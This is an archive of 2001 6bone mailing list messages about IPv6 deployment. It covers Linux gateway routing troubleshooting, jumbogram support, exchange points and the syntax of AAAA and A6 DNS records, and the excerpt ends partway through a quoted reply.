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Date: Thu, 30 Aug 2001 16:15:36 +0200
From: "Sascha 'sb' Bielski" <sb@rdns.de>
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Dear lazy,

On Donnerstag, 30. August 2001 at 02:21 you wrote:

l> http://hs247.com/ has a good list of IPv6
l> acessible servers, and IPv6 related information.
l> I suppose they count as a IPv6 website since
l> they do have AAAA records. :)

sure it is ipv6 capable. if anyone has problems connecting to it
please tell me, i'm the site hoster.

-- 
best regards,
Sascha 'sb' Bielski                            mailto:sb@rdns.de
rdns.de admin team
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From 6bone-owner  Thu Aug 30 11:28:17 2001
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From: Brad Spencer <brad@anduin.eldar.org>
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   I'm curious to know if there are any 
   interesting IPv6 web content sites 
   out there reacheable via the 6bone?  
   If anyone has some URL pointers
   please send me a few.


   Thanks,

   Cleve...

   ====================================
   Cleve Mickles
   Network Architect
   America Online, Network Operations
   ====================================  




It isn't vast, but you can try:

		http://anduin.ipv6.eldar.org




Brad Spencer - brad@anduin.eldar.org
http://anduin.eldar.org  - & -  http://anduin.ipv6.eldar.org [IPv6 only]
[finger brad@anduin.eldar.org for PGP public key]

From 6bone-owner  Thu Aug 30 12:40:14 2001
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Date: Thu, 30 Aug 2001 15:40:12 -0400 (EDT)
From: John Klos <john@sixgirls.org>
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I don't remeber this being mentioned, but all of the main services and
servers for NetBSD are all running IPv6:

http://www.netbsd.org/

John Klos


From 6bone-owner  Fri Aug 31 16:59:32 2001
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list 6bone
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From 6bone-owner  Sun Sep  2 13:29:36 2001
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From: Dave Botsch <dwb7@cornell.edu>
To: 6bone@ISI.EDU
Subject: Mbone via 6bone?
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Hi there.

As someone relatively new to the 6bone, I am curious if the mbone is accessible via 6bone. After much searching on websites, I have come up with nothing useful other than a couple of statments to setting up tunnels to the mbone via the 6bone.

Any info is much appreciated.

Thanks!

-- 
********************************
David William Botsch
dwb7@cornell.edu
********************************

From 6bone-owner  Mon Sep  3 02:19:36 2001
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From: "Justin Hammond" <fish@dynam.ac>
To: <6bone@ISI.EDU>
References: <20010902162922.A11433@Archie.localdomain>
Subject: Linux Help for ipv6
Date: Mon, 3 Sep 2001 17:19:21 +0800
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Hi All,
I'm attempting to setup a IPV6 network.
but unfortuantly, i've hit a snag.
Can anyone point me to a ipv6 related mailing list, that hopefully I can ask
for help, instead of posting OT messages here?

Thanks

Justin Hammond


From 6bone-owner  Mon Sep  3 07:10:33 2001
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From: "Justin Hammond" <fish@dynam.ac>
To: <6bone@ISI.EDU>
References: <20010902162922.A11433@Archie.localdomain> <5.1.0.14.0.20010903120704.00a9b810@mail.dante.org.uk>
Subject: Re: Linux Help for ipv6
Date: Mon, 3 Sep 2001 22:10:14 +0800
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Ok,
I'll see if you can help me.

I have setup a IPV6 Tunnel and requested a subnet to my local lan.
I'm using a Linux box running Kernel 2.4.9 on a Sparc as the gateway, and
have several internal PC's and Servers (Win2k, NT4.0, Redhat's etc etc etc)
and I've setup the gateway according to the howto on
www.bieringer.de/linux/IPv6/

(I wanted to use the usagi kernel, as I understand it has improved ipv6
support, but the stable release kernel they have won't run on my sparc box,
and the latest snapshot usually locks up, so I'm using a stock standard
kernel, and the reason I'm using Linux, is I need to be able to firewall,
and as far as I know, no other *nix or *bsd has stable firewall code, not to
mention this is a production machine!)

All is fine from the gateway, I can ping6 most of the 6bone sites I can find
from both the Tunnel endpoint address, and also one of the Ip's that is
included in my subnet routed to me.
I've also setup radvd and it is handing out the prefix and routing
information to the other pc's on the network.
ipv6 forwarding has also been enabled on the box

This is the problem I have:

from any other PC on the internal network, I cant connect/ping past the
gateway, *unless* I go to the gateway and ping the host first.
then for a period of about 30 seconds, I can connect/ping only the host that
I pinged from the gateway, but no other host past my gateway.
after about 30 Seconds, any connections I have get droped. (for eg, right
now, I have a ping script running in a loop, just so I can do some
application testing!)

The internal machines have the locallink ip address as the default gateway
(fe80::a00:20ff:fec2:ad90)
even if I manually add the global ip address, still no luck, I always get
Destination Unreachable back from the "global" ip address of the gateway

I'm not trying to do anything fancy with Mobile IP or anything, I just want
these hosts to be accessable via IPv6.

I got a feeling either I'm doing somthing stupid (as I understand it, this
is something to do with Neighbour Solicitation, I read the RFC's but alas,
no help)
or there is a bug with my distro.

Can anybody point me in the right direction?

Thanks

Justin


----- Original Message -----
From: "Janos Mohacsi" <Janos.Mohacsi@dante.org.uk>
To: "Justin Hammond" <fish@dynam.ac>
Sent: Monday, September 03, 2001 7:10 PM
Subject: Re: Linux Help for ipv6


> At 05:19 PM 9/3/01 +0800, you wrote:
> >Hi All,
> >I'm attempting to setup a IPV6 network.
> >but unfortuantly, i've hit a snag.
> >Can anyone point me to a ipv6 related mailing list, that hopefully I can
ask
> >for help, instead of posting OT messages here?
>
> You can ask on this list. Either you can ask on IPv6 users mailing list:
> http://www.ipv6.org/mailing-lists.html or you should consult Bieringer's
> web pages: http://www.bieringer.de/linux/IPv6/
>
>          Janos Mohacsi
>
>


From 6bone-owner  Mon Sep  3 07:34:50 2001
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From: "Matteo Tescione" <wizard@think.to.it>
To: "Justin Hammond" <fish@dynam.ac>
Cc: <6bone@ISI.EDU>
References: <20010902162922.A11433@Archie.localdomain> <00f801c13459$85decf30$1601010a@sg.iworld.net>
Subject: Re: Linux Help for ipv6
Date: Mon, 3 Sep 2001 16:34:23 +0200
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I think the best way is to go to IRCnet in channel like #ipv6 and ask.
Bye
Matteo Tescione
IP & Security Manager
INCOM s.r.l.
via Ischia I, Grottammare AP ITALY
----- Original Message -----
From: "Justin Hammond" <fish@dynam.ac>
To: <6bone@ISI.EDU>
Sent: Monday, September 03, 2001 11:19 AM
Subject: Linux Help for ipv6


> Hi All,
> I'm attempting to setup a IPV6 network.
> but unfortuantly, i've hit a snag.
> Can anyone point me to a ipv6 related mailing list, that hopefully I can
ask
> for help, instead of posting OT messages here?
>
> Thanks
>
> Justin Hammond
>


From 6bone-owner  Mon Sep  3 10:38:05 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Justin Hammond <fish@dynam.ac>
cc: <6bone@ISI.EDU>, <linux-net@vger.kernel.org>
Subject: Re: Linux Help for ipv6
In-Reply-To: <011401c13482$2c11c740$1601010a@sg.iworld.net>
Message-ID: <Pine.LNX.4.33.0109032032170.7583-100000@netcore.fi>
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Hi,

Questions like this belong to, for example, linux-net mailing-list; to me,
6bone seems to generic.

If replying, please remove 6bone from Cc:.

As to the problem..

There might be some problem in router's neighbour discovery / NUD.

In any case, please install tcpdump 3.6 if not already installed, and
capture some data with 'tcpdump -n -vvv -s 512 -i any ip6'.

Please post that and the IPv6 routing table (/sbin/ip -6 r l) on the
router.

On Mon, 3 Sep 2001, Justin Hammond wrote:
> Ok,
> I'll see if you can help me.
>
> I have setup a IPV6 Tunnel and requested a subnet to my local lan.
> I'm using a Linux box running Kernel 2.4.9 on a Sparc as the gateway, and
> have several internal PC's and Servers (Win2k, NT4.0, Redhat's etc etc etc)
> and I've setup the gateway according to the howto on
> www.bieringer.de/linux/IPv6/
>
> (I wanted to use the usagi kernel, as I understand it has improved ipv6
> support, but the stable release kernel they have won't run on my sparc box,
> and the latest snapshot usually locks up, so I'm using a stock standard
> kernel, and the reason I'm using Linux, is I need to be able to firewall,
> and as far as I know, no other *nix or *bsd has stable firewall code, not to
> mention this is a production machine!)
>
> All is fine from the gateway, I can ping6 most of the 6bone sites I can find
> from both the Tunnel endpoint address, and also one of the Ip's that is
> included in my subnet routed to me.
> I've also setup radvd and it is handing out the prefix and routing
> information to the other pc's on the network.
> ipv6 forwarding has also been enabled on the box
>
> This is the problem I have:
>
> from any other PC on the internal network, I cant connect/ping past the
> gateway, *unless* I go to the gateway and ping the host first.
> then for a period of about 30 seconds, I can connect/ping only the host that
> I pinged from the gateway, but no other host past my gateway.
> after about 30 Seconds, any connections I have get droped. (for eg, right
> now, I have a ping script running in a loop, just so I can do some
> application testing!)
>
> The internal machines have the locallink ip address as the default gateway
> (fe80::a00:20ff:fec2:ad90)
> even if I manually add the global ip address, still no luck, I always get
> Destination Unreachable back from the "global" ip address of the gateway
>
> I'm not trying to do anything fancy with Mobile IP or anything, I just want
> these hosts to be accessable via IPv6.
>
> I got a feeling either I'm doing somthing stupid (as I understand it, this
> is something to do with Neighbour Solicitation, I read the RFC's but alas,
> no help)
> or there is a bug with my distro.
>
> Can anybody point me in the right direction?
>
> Thanks
>
> Justin
>
>
> ----- Original Message -----
> From: "Janos Mohacsi" <Janos.Mohacsi@dante.org.uk>
> To: "Justin Hammond" <fish@dynam.ac>
> Sent: Monday, September 03, 2001 7:10 PM
> Subject: Re: Linux Help for ipv6
>
>
> > At 05:19 PM 9/3/01 +0800, you wrote:
> > >Hi All,
> > >I'm attempting to setup a IPV6 network.
> > >but unfortuantly, i've hit a snag.
> > >Can anyone point me to a ipv6 related mailing list, that hopefully I can
> ask
> > >for help, instead of posting OT messages here?
> >
> > You can ask on this list. Either you can ask on IPv6 users mailing list:
> > http://www.ipv6.org/mailing-lists.html or you should consult Bieringer's
> > web pages: http://www.bieringer.de/linux/IPv6/
> >
> >          Janos Mohacsi
> >
> >
>

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Sep  3 14:15:14 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Justin Hammond'" <fish@dynam.ac>, <6bone@ISI.EDU>,
        <linux-net@vger.kernel.org>
Subject: RE: Linux Help for ipv6
Date: Mon, 3 Sep 2001 23:12:47 +0200
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Justin Hammond <fish@dynam.ac> wrote:

<SNIP>
> www.bieringer.de/linux/IPv6/
Excellent starting point.... you could also take a peek at
http://hs247.com

<SNIP>

> This is the problem I have:
> 
> from any other PC on the internal network, I cant 
> connect/ping past the
> gateway, *unless* I go to the gateway and ping the host first.
> then for a period of about 30 seconds, I can connect/ping 
> only the host that
> I pinged from the gateway, but no other host past my gateway.
> after about 30 Seconds, any connections I have get droped. 
> (for eg, right
> now, I have a ping script running in a loop, just so I can do some
> application testing!)

On the gateway do a :
route add -A inet6 2000::/3 dev <your device>

This is because (most) versions of net-tools on linux don't work
correctly with the default route... :)

Matteo Tescione [wizard@think.to.it] wrote:
> I think the best way is to go to IRCnet in channel like #ipv6 and ask.

Who will nicely point you to the http://hs247.com and
http://www.bieringer.de sites... <evil grin>

Greets,
 Jeroen

PS: CC & "Reply to" set to: linux-net@vger.kernel.org :)


From 6bone-owner  Tue Sep  4 01:44:26 2001
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From: Feico Dillema <feico@pasta.cs.uit.no>
To: Justin Hammond <fish@dynam.ac>
Cc: 6bone@ISI.EDU
Subject: Re: Linux Help for ipv6
Message-ID: <20010904104230.E24141@pasta.cs.uit.no>
References: <20010902162922.A11433@Archie.localdomain> <5.1.0.14.0.20010903120704.00a9b810@mail.dante.org.uk> <011401c13482$2c11c740$1601010a@sg.iworld.net>
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On Mon, Sep 03, 2001 at 10:10:14PM +0800, Justin Hammond wrote:
> (I wanted to use the usagi kernel, as I understand it has improved ipv6
> support, but the stable release kernel they have won't run on my sparc box,
> and the latest snapshot usually locks up, so I'm using a stock standard
> kernel, and the reason I'm using Linux, is I need to be able to firewall,
> and as far as I know, no other *nix or *bsd has stable firewall code, not to
> mention this is a production machine!)
AFAIK NetBSD's ipfilter is pretty stable also with IPv6. But I must
admit, I have only used it for some simple things.

Feico.

From 6bone-owner  Tue Sep  4 07:36:08 2001
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From: Justin Hammond <fish@dynam.ac>
To: 6bone@ISI.EDU
Subject: Re: Linux Help for ipv6
Sender: owner-6bone@zephyr.isi.edu
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Status: RO

Ok,
I'll see if you can help me.

I have setup a IPV6 Tunnel and requested a subnet to my local lan.
I'm using a Linux box running Kernel 2.4.9 on a Sparc as the gateway, and
have several internal PC's and Servers (Win2k, NT4.0, Redhat's etc etc etc)
and I've setup the gateway according to the howto on
www.bieringer.de/linux/IPv6/

(I wanted to use the usagi kernel, as I understand it has improved ipv6
support, but the stable release kernel they have won't run on my sparc box,
and the latest snapshot usually locks up, so I'm using a stock standard
kernel, and the reason I'm using Linux, is I need to be able to firewall,
and as far as I know, no other *nix or *bsd has stable firewall code, not to
mention this is a production machine!)

All is fine from the gateway, I can ping6 most of the 6bone sites I can find
from both the Tunnel endpoint address, and also one of the Ip's that is
included in my subnet routed to me.
I've also setup radvd and it is handing out the prefix and routing
information to the other pc's on the network.
ipv6 forwarding has also been enabled on the box

This is the problem I have:

from any other PC on the internal network, I cant connect/ping past the
gateway, *unless* I go to the gateway and ping the host first.
then for a period of about 30 seconds, I can connect/ping only the host that
I pinged from the gateway, but no other host past my gateway.
after about 30 Seconds, any connections I have get droped. (for eg, right
now, I have a ping script running in a loop, just so I can do some
application testing!)

The internal machines have the locallink ip address as the default gateway
(fe80::a00:20ff:fec2:ad90)
even if I manually add the global ip address, still no luck, I always get
Destination Unreachable back from the "global" ip address of the gateway

I'm not trying to do anything fancy with Mobile IP or anything, I just want
these hosts to be accessable via IPv6.

I got a feeling either I'm doing somthing stupid (as I understand it, this
is something to do with Neighbour Solicitation, I read the RFC's but alas,
no help)
or there is a bug with my distro.

Can anybody point me in the right direction?

Thanks

Justin


----- Original Message -----
From: "Janos Mohacsi" <Janos.Mohacsi@dante.org.uk>
To: "Justin Hammond" <fish@dynam.ac>
Sent: Monday, September 03, 2001 7:10 PM
Subject: Re: Linux Help for ipv6


> At 05:19 PM 9/3/01 +0800, you wrote:
> >Hi All,
> >I'm attempting to setup a IPV6 network.
> >but unfortuantly, i've hit a snag.
> >Can anyone point me to a ipv6 related mailing list, that hopefully I can
ask
> >for help, instead of posting OT messages here?
>
> You can ask on this list. Either you can ask on IPv6 users mailing list:
> http://www.ipv6.org/mailing-lists.html or you should consult Bieringer's
> web pages: http://www.bieringer.de/linux/IPv6/
>
>          Janos Mohacsi
>
>

From 6bone-owner  Tue Sep  4 13:04:11 2001
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To: "'Richardson, Jeremy (LNG)'" <jeremy.richardson@lexisnexis.com>,
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Richardson, Jeremy (LNG) [mailto:jeremy.richardson@lexisnexis.com]
wrote:

> To: 6bone@ISI.EDU; 'jeroen@unfix.org'
> Dear List Members,

And what do I have to do with that???

> I have been trying futilely to have my name removed from the 
> 6Bone mailing
> list.  
> 
> I receive a large number of e-mails daily and I do not want them.
> 
> The 6Bone administrator has informed me he cannot remove my 
> name from the
> distribution list, because my address is on another list that 
> spawns (???)
Check the headers of message you receive from the list... anything after
hosts from isi.edu... have fun :)

Greets,
 Jeroen


From 6bone-owner  Wed Sep  5 00:50:29 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Justin Hammond <fish@dynam.ac>
Subject: Re: Linux Help for ipv6
Cc: 6bone@ISI.EDU, linux-net@vger.kernel.org
Sender: owner-6bone@zephyr.isi.edu
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Hi,

Questions like this belong to, for example, linux-net mailing-list; to me,
6bone seems to generic.

If replying, please remove 6bone from Cc:.

As to the problem..

There might be some problem in router's neighbour discovery / NUD.

In any case, please install tcpdump 3.6 if not already installed, and
capture some data with 'tcpdump -n -vvv -s 512 -i any ip6'.

Please post that and the IPv6 routing table (/sbin/ip -6 r l) on the
router.

On Mon, 3 Sep 2001, Justin Hammond wrote:
> Ok,
> I'll see if you can help me.
>
> I have setup a IPV6 Tunnel and requested a subnet to my local lan.
> I'm using a Linux box running Kernel 2.4.9 on a Sparc as the gateway, and
> have several internal PC's and Servers (Win2k, NT4.0, Redhat's etc etc etc)
> and I've setup the gateway according to the howto on
> www.bieringer.de/linux/IPv6/
>
> (I wanted to use the usagi kernel, as I understand it has improved ipv6
> support, but the stable release kernel they have won't run on my sparc box,
> and the latest snapshot usually locks up, so I'm using a stock standard
> kernel, and the reason I'm using Linux, is I need to be able to firewall,
> and as far as I know, no other *nix or *bsd has stable firewall code, not to
> mention this is a production machine!)
>
> All is fine from the gateway, I can ping6 most of the 6bone sites I can find
> from both the Tunnel endpoint address, and also one of the Ip's that is
> included in my subnet routed to me.
> I've also setup radvd and it is handing out the prefix and routing
> information to the other pc's on the network.
> ipv6 forwarding has also been enabled on the box
>
> This is the problem I have:
>
> from any other PC on the internal network, I cant connect/ping past the
> gateway, *unless* I go to the gateway and ping the host first.
> then for a period of about 30 seconds, I can connect/ping only the host that
> I pinged from the gateway, but no other host past my gateway.
> after about 30 Seconds, any connections I have get droped. (for eg, right
> now, I have a ping script running in a loop, just so I can do some
> application testing!)
>
> The internal machines have the locallink ip address as the default gateway
> (fe80::a00:20ff:fec2:ad90)
> even if I manually add the global ip address, still no luck, I always get
> Destination Unreachable back from the "global" ip address of the gateway
>
> I'm not trying to do anything fancy with Mobile IP or anything, I just want
> these hosts to be accessable via IPv6.
>
> I got a feeling either I'm doing somthing stupid (as I understand it, this
> is something to do with Neighbour Solicitation, I read the RFC's but alas,
> no help)
> or there is a bug with my distro.
>
> Can anybody point me in the right direction?
>
> Thanks
>
> Justin
>
>
> ----- Original Message -----
> From: "Janos Mohacsi" <Janos.Mohacsi@dante.org.uk>
> To: "Justin Hammond" <fish@dynam.ac>
> Sent: Monday, September 03, 2001 7:10 PM
> Subject: Re: Linux Help for ipv6
>
>
> > At 05:19 PM 9/3/01 +0800, you wrote:
> > >Hi All,
> > >I'm attempting to setup a IPV6 network.
> > >but unfortuantly, i've hit a snag.
> > >Can anyone point me to a ipv6 related mailing list, that hopefully I can
> ask
> > >for help, instead of posting OT messages here?
> >
> > You can ask on this list. Either you can ask on IPv6 users mailing list:
> > http://www.ipv6.org/mailing-lists.html or you should consult Bieringer's
> > web pages: http://www.bieringer.de/linux/IPv6/
> >
> >          Janos Mohacsi
> >
> >
>

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

From 6bone-owner  Thu Sep  6 11:22:12 2001
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Date: Thu, 06 Sep 2001 14:21:01 -0400
From: ab8kf@netscape.net
To: dwb7@cornell.edu (Dave Botsch), 6bone@ISI.EDU
Subject: RE: Mbone via 6bone?
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Two entirely different animals.  The 6bone network supports IPv6 multicasting, but IPv4 multicasting is not supported on 6bone.  The mbone virtual network, if it still exists, is a IPv4 multicast virtual network backbone.  Most networks in the US, Canada, Europe, and Far East support native multicasting at this present time, either through mrouted or other tools.
Is there a reason you want to access mbone?
-Sean Walton

Dave Botsch <dwb7@cornell.edu> wrote:
>Hi there.
>
>As someone relatively new to the 6bone, I am curious if the mbone is accessible via 6bone. After much searching on websites, I have come up with nothing useful other than a couple of statments to setting up tunnels to the mbone via the 6bone.
>
>Any info is much appreciated.
>
>Thanks!
>
>-- 
>********************************
>David William Botsch
>dwb7@cornell.edu
>********************************
>


__________________________________________________________________
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From 6bone-owner  Sat Sep  8 19:14:08 2001
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Date: Sat, 08 Sep 2001 22:13:52 -0400
From: ab8kf@netscape.net
To: 6bone@ISI.EDU
Subject: Using Jumbo Packets
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I have been searching several sources and trying all types of avenues.

*Is support for Jumbo packets automatic?*  RFC1883 says it's supposed to be, but I can't get Linux 2.4.5 to sendto() a message larger than 65535 bytes.

Has anyone had any success with the jumbo packet feature, or is this feature still vaporware?



__________________________________________________________________
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From 6bone-owner  Sun Sep  9 03:57:48 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: ab8kf@netscape.net
cc: 6bone@ISI.EDU
Subject: Re: Using Jumbo Packets 
In-Reply-To: <7E2E2DDE.714E6570.000124A0@netscape.net> 
References: <7E2E2DDE.714E6570.000124A0@netscape.net> 
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    Date:        Sat, 08 Sep 2001 22:13:52 -0400
    From:        ab8kf@netscape.net
    Message-ID:  <7E2E2DDE.714E6570.000124A0@netscape.net>

  | Has anyone had any success with the jumbo packet feature,

Jumbograms aren't allowed to be fragmented (the fragment header doesn't
support it, even if it wouldn't simply defeat the purpose of them in
any case).

So you can only send one if you have an interface with an MTU that's
big enough.   That isn't any kind of ethernet, token ring, fddi, ...

There's no point an implementation providing support for them unless it
has support for one of the very few link layers where it makes sense, so
even if you could nominally send a jumbogram through the loopback interface
if you define its MTU high enough, I wouldn't expect implementations to
support just that one use.

The only point using the things is if you're using an interface where
handling an interrupt to process a packet is comparatively very expensive.

kre


From 6bone-owner  Mon Sep 10 07:47:14 2001
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Date: Mon, 10 Sep 2001 15:46:47 +0100
From: Paul Aitken <paitken@cisco.com>
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Folks,

ipv6-router.cisco.com was decommissioned this morning after 5 years of
faithful service.

Over the past weeks we've been porting customers over to our new 7200,
ipv6-lab-gw.cisco.com, from where we will continue to provide 6bone
connectivity.

The 7200 is faster than the old 4500 and has more memory. It's running the
latest Cisco IPv6 EFT image.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Mon Sep 10 14:46:23 2001
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From: "Johannes Hubrich" <johanneshubrich@web.de>
To: "6bone" <6bone@ISI.EDU>
Subject: Exchange points
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Hi everybody,

for my masterthesis I study the routing in IPv6.
Now I have heard, that there are exchange points in the old IPv4 backbones.

I don't find anything about those special routers(?) in the RFCs or the Internet-Drafts. 
Has someone a paper or any else informations about those items?

Thanks in advance
    Johannes

_______________________________________________________________________
1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de
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From 6bone-owner  Mon Sep 10 21:02:22 2001
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Subject: Re: Exchange points
To: johanneshubrich@web.de (Johannes Hubrich)
Date: Mon, 10 Sep 2001 21:02:22 -0700 (PDT)
Cc: 6bone@ISI.EDU (6bone)
In-Reply-To: <200109102146.f8ALkBx05105@mailgate5.cinetic.de> from "Johannes Hubrich" at Sep 10, 2001 11:46:11 PM
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% 
% Hi everybody,
% 
% for my masterthesis I study the routing in IPv6.
% Now I have heard, that there are exchange points in the old IPv4 backbones.

	There are "backbones" and there are "exchange points"
	in both IPv4 and IPv6 space.

% I don't find anything about those special routers(?) in the RFCs or the Internet-Drafts. 
% Has someone a paper or any else informations about those items?

	And it is unlikely that you would. These are implementation
	and operational features, not protocol issues and so their
	uptake in the IETF would be a violation of IETF charter.

	You might find some pointers on exchanges, both IPv4 and
	IPv6 at  www.ep.net


% 
% Thanks in advance
%     Johannes
% 
% _______________________________________________________________________
% 1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de
% IhrName@web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de
% 
% 


-- 
--bill

From 6bone-owner  Wed Sep 12 01:31:59 2001
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From: "Yuttana" <koemon07@yahoo.com>
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References: <20010902162922.A11433@Archie.localdomain> <5.1.0.14.0.20010903120704.00a9b810@mail.dante.org.uk> <011401c13482$2c11c740$1601010a@sg.iworld.net>
Subject: Re: Linux Help for ipv6
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Hi all,

I'm a beginner of IPv6 and I don't know about AAAA and A6 record of name
server.
How are different about it? Can anybody explain it for me?

Thank you
Mon



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From 6bone-owner  Wed Sep 12 05:48:10 2001
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Date: Wed, 12 Sep 2001 08:45:09 -0400
To: "Johannes Hubrich" <johanneshubrich@web.de>, "6bone" <6bone@ISI.EDU>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: Exchange points
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site of ipv6 exchange points: http://www.v6nap.net.

Marc.

At/À 23:46 2001-09-10 +0200, Johannes Hubrich you wrote/vous écriviez:
>Hi everybody,
>
>for my masterthesis I study the routing in IPv6.
>Now I have heard, that there are exchange points in the old IPv4 backbones.
>
>I don't find anything about those special routers(?) in the RFCs or the 
>Internet-Drafts.
>Has someone a paper or any else informations about those items?
>
>Thanks in advance
>     Johannes
>
>_______________________________________________________________________
>1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de
>IhrName@web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de



From 6bone-owner  Wed Sep 12 07:04:08 2001
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To: Yuttana <koemon07@yahoo.com>
CC: 6bone@ISI.EDU
Subject: Re: Linux Help for ipv6
References: <20010902162922.A11433@Archie.localdomain> <5.1.0.14.0.20010903120704.00a9b810@mail.dante.org.uk> <011401c13482$2c11c740$1601010a@sg.iworld.net> <00f201c13b65$6be68650$14cf9acb@Zerg>
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==================
AAAA RECORDS
==================

2.2 AAAA data format

   A 128 bit IPv6 address is encoded in the data portion of an AAAA
   resource record in network byte order (high-order byte first).

--RFC 1886

BIND Example:
    foo.bar.net IN AAAA     3ffe:1234:5678:1::1


==================
A6 RECORDS
==================

   o  A new resource record type, "A6", is defined to map a domain name
      to an IPv6 address, with a provision for indirection for leading
      "prefix" bits.

-- RFC 2874

BIND Example:
    ip6prefix     IN A6 0 3ffe:1234:5678::
    ns6           IN A6 48 ::1:a:b:c:d ip6prefix
    www6          IN A6 48 ::1:b:c:d:e ip6prefix


// lazy

Yuttana wrote:
> 
> Hi all,
> 
> I'm a beginner of IPv6 and I don't know about AAAA and A6 record of name
> server.
> How are different about it? Can anybody explain it for me?
> 
> Thank you
> Mon
> 
> _________________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.com address at http://mail.yahoo.com

-- 

 ..:: Jesus saves, but Ctrl+S is faster. :)
 PGP: RSA 2048bit 0xB7673053 (keyserver.pgp.com)
 Web: http://packetjunkie.net  http://bsdbox.org

From 6bone-owner  Thu Sep 13 21:21:56 2001
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From: "Yuttana" <koemon07@yahoo.com>
To: <6bone@ISI.EDU>
References: <20010902162922.A11433@Archie.localdomain> <5.1.0.14.0.20010903120704.00a9b810@mail.dante.org.uk> <011401c13482$2c11c740$1601010a@sg.iworld.net> <00f201c13b65$6be68650$14cf9acb@Zerg> <3B9F6B55.FCDF3C1C@bsdbox.org>
Subject: Re: Linux Help for ipv6
Date: Fri, 14 Sep 2001 11:22:11 +0700
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Hi ,lazy and all

 Can I define A6 record same as AAAA?
eg.
>     foo.bar.net IN AAAA     3ffe:1234:5678:1::1
Can I used this?
>     foo.bar.net IN A6   3ffe:1234:5678:1::1

Thank you
Mon
----- Original Message -----
From: "lazy" <lazy@bsdbox.org>
To: "Yuttana" <koemon07@yahoo.com>
Cc: <6bone@ISI.EDU>
Sent: Wednesday, September 12, 2001 9:04 PM
Subject: Re: Linux Help for ipv6


> ==================
> AAAA RECORDS
> ==================
>
> 2.2 AAAA data format
>
>    A 128 bit IPv6 address is encoded in the data portion of an AAAA
>    resource record in network byte order (high-order byte first).
>
> --RFC 1886
>
> BIND Example:
>     foo.bar.net IN AAAA     3ffe:1234:5678:1::1
>
>
> ==================
> A6 RECORDS
> ==================
>
>    o  A new resource record type, "A6", is defined to map a domain name
>       to an IPv6 address, with a provision for indirection for leading
>       "prefix" bits.
>
> -- RFC 2874
>
> BIND Example:
>     ip6prefix     IN A6 0 3ffe:1234:5678::
>     ns6           IN A6 48 ::1:a:b:c:d ip6prefix
>     www6          IN A6 48 ::1:b:c:d:e ip6prefix
>
>
> // lazy
>
> Yuttana wrote:
> >
> > Hi all,
> >
> > I'm a beginner of IPv6 and I don't know about AAAA and A6 record of name
> > server.
> > How are different about it? Can anybody explain it for me?
> >
> > Thank you
> > Mon
> >
> > _________________________________________________________
> > Do You Yahoo!?
> > Get your free @yahoo.com address at http://mail.yahoo.com
>
> --
>
>  ..:: Jesus saves, but Ctrl+S is faster. :)
>  PGP: RSA 2048bit 0xB7673053 (keyserver.pgp.com)
>  Web: http://packetjunkie.net  http://bsdbox.org


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


From 6bone-owner  Thu Sep 13 23:31:00 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: "Yuttana" <koemon07@yahoo.com>
cc: 6bone@ISI.EDU
Subject: Re: Linux Help for ipv6 
In-Reply-To: <019201c13cd4$d3d32cd0$14cf9acb@Zerg> 
References: <019201c13cd4$d3d32cd0$14cf9acb@Zerg>  <20010902162922.A11433@Archie.localdomain> <5.1.0.14.0.20010903120704.00a9b810@mail.dante.org.uk> <011401c13482$2c11c740$1601010a@sg.iworld.net> <00f201c13b65$6be68650$14cf9acb@Zerg> <3B9F6B55.FCDF3C1C@bsdbox.org> 
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    Date:        Fri, 14 Sep 2001 11:22:11 +0700
    From:        "Yuttana" <koemon07@yahoo.com>
    Message-ID:  <019201c13cd4$d3d32cd0$14cf9acb@Zerg>

  |  Can I define A6 record same as AAAA?

Almost, but not quite

  | eg.
  | >     foo.bar.net IN AAAA     3ffe:1234:5678:1::1
  | Can I used this?
  | >     foo.bar.net IN A6   3ffe:1234:5678:1::1

No, but you can use

	foo.bar.net IN A6  0  3ffe:1234:5678:1::1

kre


From 6bone-owner  Fri Sep 14 04:12:22 2001
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Subject: Re: Linux Help for ipv6
To: koemon07@yahoo.com (Yuttana)
Date: Fri, 14 Sep 2001 04:12:24 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <019201c13cd4$d3d32cd0$14cf9acb@Zerg> from "Yuttana" at Sep 14, 2001 11:22:11 AM
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% 
% Hi ,lazy and all
% 
%  Can I define A6 record same as AAAA?

	No.

% eg.
% >     foo.bar.net IN AAAA     3ffe:1234:5678:1::1

	This is good.


% Can I used this?
% >     foo.bar.net IN A6   3ffe:1234:5678:1::1

	No. But you can use this:

	foo.bar.net IN A6   0 3ffe:1234:5678:1::1

Be sure to also do this:

1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.8.7.6.5.4.3.2.1.e.f.f.3.ip6.int. in ptr foo.bar.net.



% 
% Thank you
% Mon
% ----- Original Message -----
% From: "lazy" <lazy@bsdbox.org>
% To: "Yuttana" <koemon07@yahoo.com>
% Cc: <6bone@ISI.EDU>
% Sent: Wednesday, September 12, 2001 9:04 PM
% Subject: Re: Linux Help for ipv6
% 
% 
% > ==================
% > AAAA RECORDS
% > ==================
% >
% > 2.2 AAAA data format
% >
% >    A 128 bit IPv6 address is encoded in the data portion of an AAAA
% >    resource record in network byte order (high-order byte first).
% >
% > --RFC 1886
% >
% > BIND Example:
